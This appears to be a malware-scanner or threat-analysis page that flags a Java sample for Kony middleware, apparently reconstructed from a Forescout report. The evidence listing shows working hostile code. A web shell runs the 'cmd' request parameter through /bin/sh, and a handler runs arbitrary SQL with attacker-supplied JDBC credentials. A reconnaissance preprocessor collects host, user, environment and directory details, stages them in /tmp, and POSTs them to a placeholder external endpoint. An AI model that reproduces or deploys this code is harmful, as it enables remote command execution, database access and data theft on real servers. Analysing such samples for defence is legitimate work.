Hostile 100% java Download

renamed.java

Middleware request parameters near shell executionMiddleware SQL request near JDBC connection and query execution
SHA-2567af6df17ee359e1f85a4384b130cfc0ecf4a7b10ea6115d155a9a8f9ca8fd46d

Evidence

JDBC connection through DriverManager lines 1–39
1:35… Forescout, not recovered implant source.
2import com.konylabs.middleware.common.JavaService2;
3import com.konylabs.middleware.common.DataPreProcessor2;
4import com.konylabs.middleware.controller.DataControllerRequest;
5import java.sql.*;
6import java.net.*;
7import java.nio.file.*;
8import java.nio.charset.StandardCharsets;
9class ExtensionRunner implements JavaService2 {
10 Object invoke(DataControllerRequest req) throws Exception {
11 String action = req.getParameter("cmd");
12 if (action != null) {
13 Process child = new ProcessBuilder("/bin/sh", "-c", action).start();
14 byte[] output = child.getInputStream().readAllBytes();
15 int status = child.waitFor();
16 return new String(output, StandardCharsets.UTF_8) + status;
17 }
18 String query = req.getParameter("sql");
19 try (Connection db = DriverManager.getConnection(req.getParameter("db"),
20 req.getParameter("user"), req.getParameter("pass"))) {
21 Statement statement = db.createStatement();
22 statement.setMaxRows(50);
23 return statement.executeQuery(query);
24 }
25 }
26}
27class RequestProbe implements DataPreProcessor2 {
28 boolean execute() throws Exception {
29 String report = "RECON_PREPROCESSOR\n" + InetAddress.getLocalHost().getHostName()
30 + NetworkInterface.getNetworkInterfaces().toString()
31 + System.getenv().keySet().toString()
32 + System.getProperty("java.version") + System.getProperty("java.home")
33 + System.getProperty("user.name") + System.getProperty("user.dir")
34 + System.getProperty("os.name") + System.getProperty("os.arch")
35 + ProcessHandle.current().pid();
36 Process identity = new ProcessBuilder("id").start();
37 report += new String(identity.getInputStream().readAllBytes(), StandardCharsets.UTF_8);
38 report += Files.list(Path.of("/tmp")).toList().toString();
39 report += Files.list(Path.of(".")). …
Enables Java/Kotlin URLConnection output lines 40–50
40 byte[] bytes = report.getBytes(StandardCharsets.UTF_8);
41 Files.write(Path.of("/tmp/.recon_out"), bytes);
42 // The victim staging URL is redacted in the article. Reserved control endpoint.
43 HttpURLConnection channel = (HttpURLConnection)new URL("https://other.example.invalid/receive").openConnection();
44 channel.setRequestMethod("POST");
45 channel.setRequestProperty("X-A", "k1");
46 channel.setDoOutput(true);
47 channel.getOutputStream().write(bytes);
48 return true;
49 }
50}

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.